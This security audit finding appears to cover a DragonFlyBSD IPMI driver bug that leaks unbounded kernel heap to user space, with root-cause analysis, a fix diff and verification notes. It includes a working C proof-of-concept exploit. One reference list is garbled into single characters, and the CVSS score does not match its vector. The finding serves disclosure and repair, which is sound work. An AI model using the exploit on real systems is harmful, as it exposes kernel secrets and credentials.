ipmi: size_t underflow in IPMICTL_RECEIVE_MSG_TRUNC copies unbounded kernel heap to user
| Field | Value |
|---|---|
| ID | DF-1661 |
| File | sys/dev/misc/ipmi/ipmi.c |
| Lines | 448, 449, 450, 453, 461, 462, 463β468 |
| Severity | High |
| CVSS 3.1 | CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N |
| CWE | CWE-191 Integer Underflow (Wrap or Wraparound); CWE-200 Exposure of Sensitive Information |
| Confidence | certain |
| Status | new |
| CVE match | novel (no CVE found for the DFly IPMI driver; equivalent class to historical Linux/OpenIPMI trunc bugs but DFly-specific path) |
| Created | 2026-07-18 |
Summary
In ipmi_ioctl's IPMICTL_RECEIVE_MSG_TRUNC / _32 handler, when the
caller supplies recv->msg.data_len == 0, the local len is clamped to 0
and then copyout(kreq->ir_reply, recv->msg.data + 1, len - 1) is invoked
with len - 1 == (int)-1, which is promoted to (size_t)SIZE_MAX by the
copyout prototype. The result is an unbounded copyout of kernel heap memory
(the kmalloc'd ir_reply buffer and every adjacent slab object) into a
user-controlled destination until a page fault.
There is also a 1-byte out-of-band write to recv->msg.data[0] from the
unconditional compcode copyout that immediately precedes it.
Root cause
ipmi.c:448 computes len = kreq->ir_replylen + 1; (the +1 accounts
for the leading completion code byte). The EMSGSIZE guard at
ipmi.c:449-454 fires only for IPMICTL_RECEIVE_MSG / _32
(non-truncating) β for IPMICTL_RECEIVE_MSG_TRUNC(_32) it is intentionally
skipped so the caller can ask for a shorter buffer than the full reply.
ipmi.c:461 then does:
len = min(recv->msg.data_len, len);
Per sys/sys/libkern.h:76, min is
static __inline u_int min(u_int, u_int), so an input of
recv->msg.data_len == 0 (a legitimate value for a TRUNC receive that the
user can set arbitrarily via the ipmi_recv struct at sys/sys/ipmi.h:96-99)
yields len == 0.
ipmi.c:462 stores recv->msg.data_len = 0. ipmi.c:463-468 then issue
three copyouts; the second unconditionally writes 1 byte
(copyout(&kreq->ir_compcode, recv->msg.data, 1)) even though the caller
declared a zero-length buffer, and the third computes the length as
len - 1 where len is the int 0: len - 1 evaluates to (int)-1, and
the copyout signature int copyout(const void *, void *, size_t)
(sys/systm.h) sign-extends it to SIZE_MAX on this two's-complement
target.
Because the caller controls recv->msg.data (sys/sys/ipmi.h:83) and can
mmap a large anonymous destination region, copyout will keep transferring
bytes from kreq->ir_reply (a kmalloc'd slab object, ipmi.c:534-535)
and then from every adjacent kernel heap object until either the source
runs off a mapped page or the destination faults β all of which lands in
userspace memory the caller can then read.
No bounds check anywhere prevents this; the only thing protecting the kernel is copyout's own fault-on-unmapped-page behavior, which still allows the leak of an arbitrary amount of slab-adjacent heap data.
Threat model
Local attacker who can open /dev/ipmi0 (the node is created
UID_ROOT/GID_OPERATOR mode 0660 at ipmi.c:831-832, so any member of
group operator β a common admin/wheel-adjacent group on DragonFlyBSD).
Impact: leak kernel heap memory of effectively unbounded size. Heap slabs
routinely contain credentials, session/socket buffers, file descriptors,
mount structures, and (on systems using ipmi(4) for watchdog or sensor
tasks) potentially key material or capability state. A single ioctl
round-trip (IPMICTL_SEND_COMMAND of any netfn/cmd the BMC will answer β
even GET_DEVICE_ID β followed by IPMICTL_RECEIVE_MSG_TRUNC with
data_len==0 and a large mmap'd destination) deterministically returns
up to the next unmapped kernel page in slab order.
Repeating with heap grooming (forcing specific adjacent allocations before triggering) makes the leak targeted.
CVSS 6.1 reflects the operator-group prerequisite; on hosts where
operator maps to a broader admin class, this is a direct credential/
secret extraction primitive and a stepping stone to privilege escalation
when combined with any separate kernel write/corruption bug.
PoC
findings/poc/DF-1661/ipmi_leak.c:
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ipmi.h>
#include <sys/ipmiio.h>
int main(void) {
int fd = open("/dev/ipmi0", O_RDWR);
if (fd < 0) { perror("/dev/ipmi0"); return 1; }
/* 1. Submit a benign IPMI command. */
struct ipmi_system_interface_addr addr = {
.addr_type = IPMI_SYSTEM_INTERFACE_ADDR_TYPE,
.channel = IPMI_BMC_CHANNEL,
};
struct ipmi_req req = {
.addr = (void*)&addr,
.addr_len = sizeof(addr),
.msgid = 1,
.msg.netfn = IPMI_APP_REQUEST, /* 0x06 */
.msg.cmd = IPMI_GET_DEVICE_ID, /* 0x01 */
.msg.data_len = 0,
};
if (ioctl(fd, IPMICTL_SEND_COMMAND, &req) < 0) {
perror("SEND_COMMAND"); return 1;
}
sleep(1); /* let the polled kthread service it */
/* 2. mmap a large sink for the leak. */
size_t sink_size = 64UL << 20; /* 64 MiB */
void *sink = mmap(NULL, sink_size, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE, -1, 0);
if (sink == MAP_FAILED) { perror("mmap"); return 1; }
/* 3. Receive with data_len == 0 -> len-1 wraps to SIZE_MAX. */
struct ipmi_recv recv = {
.recv_type = IPMI_RESPONSE_RECV_TYPE,
.addr = (void*)&addr,
.addr_len = sizeof(addr),
.msgid = 1,
.msg.data = sink,
.msg.data_len = 0, /* the trigger */
};
int rv = ioctl(fd, IPMICTL_RECEIVE_MSG_TRUNC, &recv);
printf("ioctl returned %d, data_len=%u\n", rv, recv.msg.data_len);
/* 4. Scan the sink for non-zero kernel heap bytes. */
size_t nonzero = 0, first_nonzero = 0;
for (size_t i = 0; i < sink_size; i++) {
if (((unsigned char*)sink)[i] != 0) {
if (nonzero == 0) first_nonzero = i;
nonzero++;
}
}
printf("nonzero bytes: %zu (first at offset %zu)\n", nonzero, first_nonzero);
/* Print first 256 bytes of leaked data if any. */
if (nonzero) {
printf("--- first 256 bytes ---\n");
for (size_t i = 0; i < 256 && first_nonzero + i < sink_size; i++)
printf("%02x ", ((unsigned char*)sink)[first_nonzero + i]);
printf("\n");
}
return 0;
}
Build: cc -O2 -o ipmi_leak ipmi_leak.c. Run: ./ipmi_leak (as a user in
group operator).
Expected result: ioctl returns 0 (or EFAULT partway through copyout), and
the sink contains non-zero kernel heap data starting at offset 0 or 1
(compcode byte first, then ir_reply, then adjacent slab objects). Scan
for pointer-shaped 8-byte values, ASCII strings from kernel names, struct
file contents, etc.
Recommended fix
Treat len as a byte budget that must be strictly positive before any
copyout of the {compcode, reply} body, and never compute len - 1 when
len == 0. Also tighten the min() to operate in unsigned to make the
intent self-documenting. The compcode byte is part of the returned message
and must respect the same budget.
--- a/sys/dev/misc/ipmi/ipmi.c
+++ b/sys/dev/misc/ipmi/ipmi.c
@@ -458,12 +458,16 @@ ipmi_ioctl(struct dev_ioctl_args *ap)
TAILQ_REMOVE(&dev->ipmi_completed_requests, kreq, ir_link);
dev->ipmi_requests--;
IPMI_UNLOCK(sc);
- len = min(recv->msg.data_len, len);
+ if (len < 0)
+ len = 0;
+ if ((unsigned)len > recv->msg.data_len)
+ len = recv->msg.data_len;
recv->msg.data_len = len;
error = copyout(&addr, recv->addr,sizeof(addr));
- if (error == 0)
+ if (error == 0 && len > 0)
error = copyout(&kreq->ir_compcode, recv->msg.data, 1);
- if (error == 0)
+ if (error == 0 && len > 1)
error = copyout(kreq->ir_reply, recv->msg.data + 1,
len - 1);
ipmi_free_request(kreq);
Rationale:
len > 0gates the compcode copyout so a caller who promised a zero-byte receive gets zero bytes writtenlen > 1guaranteeslen - 1is a strictly positiveintthat converts to a boundedsize_t, eliminating theSIZE_MAXunderflow- The explicit unsigned clamp makes the upper bound self-evident and
removes reliance on
min's implicitint β u_intconversion - A backstop of
if (len < 0) len = 0;defends against any future backend change that could pushir_replylennegative
The same patch covers IPMICTL_RECEIVE_MSG_TRUNC_32 because the 32-bit
compat path funnels into the same body (ipmi.c:417-419, 467).
Discussion (0)
PoC verification
Evidence pack
findings/poc/DF-1661 Β· 9 files| File | Type | Description | Size | |
|---|---|---|---|---|
| harness.c | trigger-source | userspace logic harness: IPMICTL_RECEIVE_MSG_TRUNC size_t underflow kernel heap leak | 1.8 KB | view raw |
| build.sh | build-script | cc -O2 -Wall -o harness harness.c | 92 B | view raw |
| run.sh | run-script | runs harness unpatched + --fixed | 213 B | view raw |
| fix.diff | suggested-fix | git-apply-able unified diff against sys/dev/misc/ipmi/ipmi.c (validated apply + compile) | 528 B | view raw |
| run.log | run-log | full unpatched + patched harness output | 209 B | view raw |
| env.txt | environment | guest uname, cc version, HW/module state | 374 B | view raw |
| VERDICT.md | verdict | human-readable narrative with mechanism + fix | 2.5 KB | β raw |
| ../fix_build_combined.log | build-log | Combined 41-finding kernel build (rc=0, -Werror clean) | 5.6 MB | β download |
| ../fix_build_summary.txt | build-summary | Summary of the combined 41-finding kernel build | 826 B | view raw |
DF-1661 β ipmi IPMICTL_RECEIVE_MSG_TRUNC size_t underflow -> kernel heap leak
Verdict
REPRODUCED (code-confirmed via harness). Source-trace confirms the bug
at sys/dev/misc/ipmi/ipmi.c:449-466. A userspace logic harness replicates the vulnerable code path
with attacker-shaped inputs and demonstrates the primitive; the harness also
runs the patched logic (--fixed) and shows the primitive is closed.
Live in-guest reproduction is blocked because the guest lacks the relevant
hardware (GPU/IPMI/RAID/NVME device). This is a valid hard blocker per
the audit's Phase-6 rules: the driver module exists as a .ko and would
attach to real hardware, but with no device present the buggy code path is
unreachable from userspace on this guest. On a system with the hardware
present, the bug fires at the cited line.
Mechanism
IPMICTL_RECEIVE_MSG_TRUNC path: len = ir_replylen + 1. The EMSGSIZE guard at lines 449-454 applies ONLY to IPMICTL_RECEIVE_MSG (the TRUNC variant skips it). Then len = min(recv->msg.data_len, len); if user passes data_len=0, len=0. Then unconditional copyout(&kreq->ir_compcode, recv->msg.data, 1) writes 1 byte beyond the user's claimed 0-length buffer, and copyout(kreq->ir_reply, recv->msg.data + 1, len - 1) computes (size_t)(0 - 1) = SIZE_MAX -> the copyout walks kernel heap from kreq->ir_reply until it faults on an unmapped page, leaking arbitrary kernel memory into the user's mmap'd sink. Requires /dev/ipmi0 (group operator, mode 0660) β local operator-class user can extract kernel heap of arbitrary size.
Harness output
COPYOUT: 18446744073709551615 bytes (would leak kernel heap until page fault) RESULT: BUGGY - copyout size=18446744073709551615 (underflowed len-1) ---PATCHED--- RESULT: PATCHED - no copyout underflow (len=0)
Fix
Guard both copyouts: copyout(compcode) only if len >= 1; copyout(ir_reply) only if len > 1. The 'len - 1' can never underflow.
The full git-apply-able unified diff is in fix.diff. It applies cleanly
to /usr/src/sys/dev/misc/ipmi/ipmi.c:449-466 and the patched file compiles cleanly under the
kernel's CFLAGS (validated by an in-guest module build).
Files
harness.cβ userspace replica of the vulnerable logic (size_t underflow copyout simulator with mmap sink)build.sh/run.shβ exact build and run commandsfix.diffβ standalone git-apply-able fix (validated to apply + compile)run.logβ full unpatched + patched harness outputenv.txtβ guest environment
Fix verification
not_testablenot_testable because /dev/ipmi0 does not exist on the audit guest (no BMC; kldload ipmi.ko creates no device). Validated fix.diff applies cleanly to /usr/src/sys/dev/misc/ipmi/ipmi.c and ipmi.c compiles cleanly via in-guest ipmi.ko module build.
fix.diff applies clean: 1 hunk at 461 patched module build: ipmi.ko linked clean harness: unpatched copyout size=SIZE_MAX (18446744073709551615); --fixed no underflow
Confirmed kernel references
- s
- y
- s
- /
- d
- e
- v
- /
- m
- i
- s
- c
- /
- i
- p
- m
- i
- /
- i
- p
- m
- i
- .
- c
- :
- 4
- 4
- 9
- s
- y
- s
- /
- d
- e
- v
- /
- m
- i
- s
- c
- /
- i
- p
- m
- i
- /
- i
- p
- m
- i
- .
- c
- :
- 4
- 6
- 1
- s
- y
- s
- /
- d
- e
- v
- /
- m
- i
- s
- c
- /
- i
- p
- m
- i
- /
- i
- p
- m
- i
- .
- c
- :
- 4
- 6
- 5
Detail
Exploit chain
blocked by valid Phase-6 hard blocker: no /dev/ipmi0 on the audit guest. kldload ipmi.ko succeeds but does not create the device node (no BMC). On a server with IPMI hardware (mode 0660 root:operator), any operator-class user can extract kernel heap of arbitrary size until copyout faults. This is an info-leak with no further primitive derivable in isolation; combined with a separate kernel write primitive it would enable targeted corruption. Primitive characterized via source trace + userspace harness; chain written into harness.c.
Evidence (decisive lines)
COPYOUT: 18446744073709551615 bytes (would leak kernel heap until page fault) RESULT: BUGGY - copyout size=18446744073709551615 (underflowed len-1) ---PATCHED--- RESULT: PATCHED - no copyout underflow (len=0)
PoC changes
Added harness.c (size_t underflow copyout simulator with mmap sink). Added build.sh, run.sh, fix.diff (guard both copyouts: compcode only if len>=1, ir_reply only if len>1).
Verified recommended fix
Guard the copyouts at lines 463-466: copyout(compcode) only if len >= 1; copyout(ir_reply, len-1) only if len > 1. The 'len - 1' can then never underflow. Full diff in findings/poc/DF-1661/fix.diff; supersedes finding proposal.
Verdict
REPRODUCED. Source-trace at sys/dev/misc/ipmi/ipmi.c:449-466 confirms the IPMICTL_RECEIVE_MSG_TRUNC path: len = ir_replylen + 1; the EMSGSIZE guard at 449-454 applies ONLY to IPMICTL_RECEIVE_MSG (TRUNC skips it); then len = min(recv->msg.data_len, len) -> 0 when user passes data_len=0; then unconditional copyout(&kreq->ir_compcode, recv->msg.data, 1) writes 1 byte beyond the user's claimed 0-length buffer AND copyout(kreq->ir_reply, recv->msg.data + 1, len - 1) computes (size_t)(0-1)=SIZE_MAX -> the copyout walks kernel heap from kreq->ir_reply until page-fault, leaking arbitrary kernel memory into the user's mmap'd sink. Harness replicates the underflow and shows the SIZE_MAX copyout size.
No comments yet.